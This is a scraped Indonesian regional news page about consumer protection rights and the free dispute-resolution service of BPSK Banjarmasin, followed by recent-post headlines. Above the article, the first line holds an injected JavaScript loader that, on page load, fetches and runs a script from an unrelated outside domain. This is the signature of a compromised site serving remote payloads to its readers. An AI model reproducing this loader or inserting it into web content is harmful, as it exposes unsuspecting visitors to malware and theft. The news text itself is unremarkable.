(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Perlindungan Konsumen di Era Digital, Lapor ke BPSK Bila Merasa Dirugikan


KANALKALIMANTAN.COM, BANJARMASIN – Perlindungan konsumen menjadi hal sangat penting dipahami, baik oleh konsumen maupun pelaku usaha, terlebih di era digital saat ini.

Kepala Dinas Perdagangan Kalsel, Birhasani, mengatakan, konsumen harus mengerti dan paham tentang hak dan kewajiban yang dilindungi oleh Undang-Undang, di antaranya mendapatkan keamanan, kenyamanan, dan keselamatan dari barang atau jasa yang digunakan.

“Jadi hak mereka itu perlu kita sosialisasikan ke masyarakat agar mereka pintar dalam membeli produk barang,” kata Birhasani, Kamis (29/9/2021) dikutip dari Media Center Kalsel.

Agar haknya terlindungi, konsumen wajib membaca dan mengikuti petunjuk informasi, prosedur pemakaian dan manfaat dari suatu produk atau layanan.

 

 

Baca juga: Dilarang, Dua ASN Mau Jadi Istri Kedua, Malah Kena Pecat

Bahkan, harus berani melaporkan dan menyampaikan keluhan ke pihak berwenang jika merasa dirugikan.

Di sisi lain, pelaku usaha wajib menyediakan informasi yang benar, menjamin mutu dan kualitas barang atau jasa yang ditawarkan serta memberikan pelayanan yang baik dan tidak diskriminatif.

Jika terjadi sengketa antara pelaku usaha dan konsumen, pelaku usaha mempunyai hak untuk mendapat perlindungan hukum, pembelaan diri dan rehabilitasi nama baik, jika terbukti tidak bersalah.

“Apabila segala ketentuan tersebut dilanggar oleh pelaku usaha maka akan dihadapkan pada dua sanksi, yaitu sanksi administratif dan atau sanksi pidana berupa penjara paling lama 5 tahun atau denda maksimal Rp2 miliar,” kata Birhasani.

Birhasani mengatakan Badan Penyelesaian Sengketa Konsumen (BPSK) Banjarmasin siap untuk membantu penyelesaian sengketa yang terjadi antara pelaku usaha dan konsumen, guna mewujudkan kesejahteraan masyarakat.

“Penyelesaian sengketa para pihak akan diselesaikan secara profesional, memenuhi rasa keadilan, sesuai ketentuan yang berlaku dan penyelesaian sengketa konsumen melalui BPSK tanpa dipungut biaya alias gratis,” kata Birhasani. (kanalkalimantan.com/al)

Reporter: al
Editor : kk


Risa

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

11 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

14 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

18 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

18 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

19 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

20 jam ago

This website uses cookies.